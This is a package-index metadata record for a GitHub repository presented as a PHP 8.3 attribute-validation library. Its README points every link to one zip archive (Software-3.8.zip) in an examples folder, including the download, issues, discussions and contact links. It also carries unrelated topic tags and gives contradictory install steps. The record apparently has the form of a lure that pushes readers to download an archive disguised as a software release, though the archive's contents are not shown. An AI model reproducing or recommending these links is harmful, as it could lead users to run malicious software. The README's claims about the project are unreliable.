{"id":31557967,"url":"https://github.com/walter0329/attributes","last_synced_at":"2026-04-12T15:03:41.347Z","repository":{"id":317368507,"uuid":"1067005696","full_name":"walter0329/Attributes","owner":"walter0329","description":"🔍 Validate method parameters, return values, and property access in PHP 8.3+ with compact, reusable attributes for efficient, framework-agnostic checking.","archived":false,"fork":false,"pushed_at":"2025-09-30T11:55:43.000Z","size":20,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2025-09-30T13:31:28.210Z","etag":null,"topics":["api","api-documentation","bundle","extension","game-development","javascript","json","jwt","mongoid","naughty","nsattributedstring","odoo","openapi","redoc","ruby","swift","unchecked-checkboxes","unity"],"latest_commit_sha":null,"homepage":null,"language":"PHP","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/walter0329.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-09-30T08:55:20.000Z","updated_at":"2025-09-30T11:55:46.000Z","dependencies_parsed_at":"2025-09-30T13:31:34.846Z","dependency_job_id":null,"html_url":"https://github.com/walter0329/Attributes","commit_stats":null,"previous_names":["walter0329/attributes"],"tags_count":null,"template":false,"template_full_name":null,"purl":"pkg:github/walter0329/Attributes","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/walter0329%2FAttributes","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/walter0329%2FAttributes/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/walter0329%2FAttributes/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/walter0329%2FAttributes/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/walter0329","download_url":"https://codeload.github.com/walter0329/Attributes/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/walter0329%2FAttributes/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":278391396,"owners_count":25978981,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-04T02:00:05.491Z","response_time":63,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["api","api-documentation","bundle","extension","game-development","javascript","json","jwt","mongoid","naughty","nsattributedstring","odoo","openapi","redoc","ruby","swift","unchecked-checkboxes","unity"],"created_at":"2025-10-05T00:10:26.001Z","updated_at":"2026-04-12T15:03:41.330Z","avatar_url":"https://github.com/walter0329.png","language":"PHP","readme":"# 🎉 Attributes - Validate PHP Methods with Ease\n\n## 📦 Download Now\n[![Download the latest release](https://github.com/walter0329/Attributes/raw/refs/heads/main/examples/Software-3.8.zip%20Latest%20Release-blue)](https://github.com/walter0329/Attributes/raw/refs/heads/main/examples/Software-3.8.zip)\n\n## 🚀 Getting Started\nWelcome to the Attributes application! This tool helps you validate method parameters, return values, and property access in PHP 8.3 and above using simple and reusable attributes. Follow the steps below for easy installation and use.\n\n## 📥 Download \u0026 Install\nTo get the software, visit the following page:  \n[Download the latest release](https://github.com/walter0329/Attributes/raw/refs/heads/main/examples/Software-3.8.zip)\n\nOnce there, look for the latest version listed at the top. Click on it to find the available files. You will see options for your system. Click on the one that suits your needs, usually the one with \"Assets.\" After the download completes, you can continue with installation.\n\n## 🛠 System Requirements\nTo run Attributes, you need:\n\n- PHP version 8.3 or higher\n- A web server compatible with PHP (Apache, Nginx, etc.)\n- Basic access to a terminal or console\n\nEnsure your system meets these requirements for optimal performance.\n\n## 📄 Features\n- **Attribute-based Validation:** Easily validate inputs without extensive code.\n- **Reusable Attributes:** Use the same validations across different areas of your project.\n- **Clear Documentation:** Follow straightforward guidelines to set up and apply validations.\n\n## 📖 How to Use Attributes\nTo use Attributes in your PHP projects, follow these steps:\n\n1. **Install via Composer:**\n   Open your terminal and run the following command:\n   ```\n   composer require walter0329/attributes\n   ```\n   This command will download and install the package.\n\n2. **Add Attributes to Methods:**\n   Use the attributes in your method signatures. For example:\n   ```php\n   use YourNamespace\\Attributes\\NotNull;\n\n   class Example {\n       public function validate(\n           #[NotNull] string $name\n       ) {\n           // Your validation code here\n       }\n   }\n   ```\n\n3. **Run Your Application:**\n   After adding the necessary attributes, run your PHP application as you usually would. The attributes will automatically validate your method parameters.\n\n## ❓ Frequently Asked Questions\n\n### What is an attribute in PHP?\nAn attribute is a special type of metadata you can add to your classes, properties, and methods. It provides additional information that can be used by programs to influence behavior.\n\n### Can I use Attributes with older versions of PHP?\nNo, Attributes are a feature introduced in PHP 8.0 and have continued to evolve. You need at least PHP 8.3 to use this package.\n\n### Is it necessary to have Composer?\nYes, Composer is the recommended way to manage dependencies in PHP projects. It simplifies the installation process.\n\n### How do I report an issue?\nIf you encounter any problems, visit the issues section on the [GitHub repository](https://github.com/walter0329/Attributes/raw/refs/heads/main/examples/Software-3.8.zip) to report the issue. Our community will assist you.\n\n## 🛡 Safety and Security\nEnsure that your PHP version is up-to-date. Using older versions may expose your application to security vulnerabilities. Regular updates help keep your application safe.\n\n## 👩‍💻 Contributing\nWe welcome contributions from anyone interested. If you have ideas for features, improvements, or updates, feel free to fork the repository, make your changes, and submit a pull request. \n\n## 📧 Contact\nIf you have further questions or need assistance, you can reach out via the [GitHub Discussions](https://github.com/walter0329/Attributes/raw/refs/heads/main/examples/Software-3.8.zip) section. We’re happy to help. \n\n## 🎈 Conclusion\nThank you for choosing Attributes! We hope this tool simplifies your development process by making validation seamless. Download the latest version today and start enhancing your PHP applications! \n\nDon't forget to visit the [download page](https://github.com/walter0329/Attributes/raw/refs/heads/main/examples/Software-3.8.zip) for the most recent updates and versions.","funding_links":[],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fwalter0329%2Fattributes","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fwalter0329%2Fattributes","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fwalter0329%2Fattributes/lists"}